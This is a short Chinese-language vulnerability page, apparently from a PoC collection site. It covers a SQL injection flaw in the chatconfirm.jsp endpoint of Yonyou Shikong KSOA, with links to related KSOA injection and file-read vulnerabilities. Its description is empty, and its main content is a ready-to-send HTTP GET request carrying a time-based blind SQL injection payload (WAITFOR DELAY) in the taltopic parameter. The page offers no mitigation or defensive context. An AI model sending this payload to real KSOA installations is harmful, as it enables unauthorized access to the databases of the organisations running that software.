用友-时空KSOA chatconfirm 存在SQL注入漏洞

漏洞描述

PoC代码

GET /luntan/chatconfirm.jsp?taltopic=%27%3bWAITFOR+DELAY+%270%3a0%3a3%27-- HTTP/1.1
Host: 

相关漏洞推荐

• 用友时空KSOA downnewsatt.jsp 任意文件读取漏洞
• POC 用友时空 KSOA common/dept.jsp SQL 注入漏洞
• 用友时空 KSOA lookover.jsp SQL 注入漏洞
• 用友时空KSOA downnewsatt.jsp 文件读取漏洞
• POC 用友时空KSOA downnewsatt.jsp 存在任意文件读取漏洞
• 用友时空KSOA del_catalog.jsp 存在SQL注入漏洞
• 用友时空KSOA软件 del_catalog.jsp SQL注入漏洞
• POC yonyou-ksoa-dept-sqli: 用友时空 KSOA common/dept.jsp SQL 注入漏洞
• POC yonyou-ksoa-paybill-sqi: 用友时空 KSOA PayBill SQL 注入漏洞
• POC yonyou-ksoa-previewkpqt-sqli: 用友时空KSOA系统接口PreviewKPQT.jsp-SQL注入漏洞
• 用友时空KSOA workslist.jsp SQL注入漏洞
• 用友时空-KSOA sql注入漏洞
• 用友时空KSOA /kp/PrintZPYG.jsp SQL 注入漏洞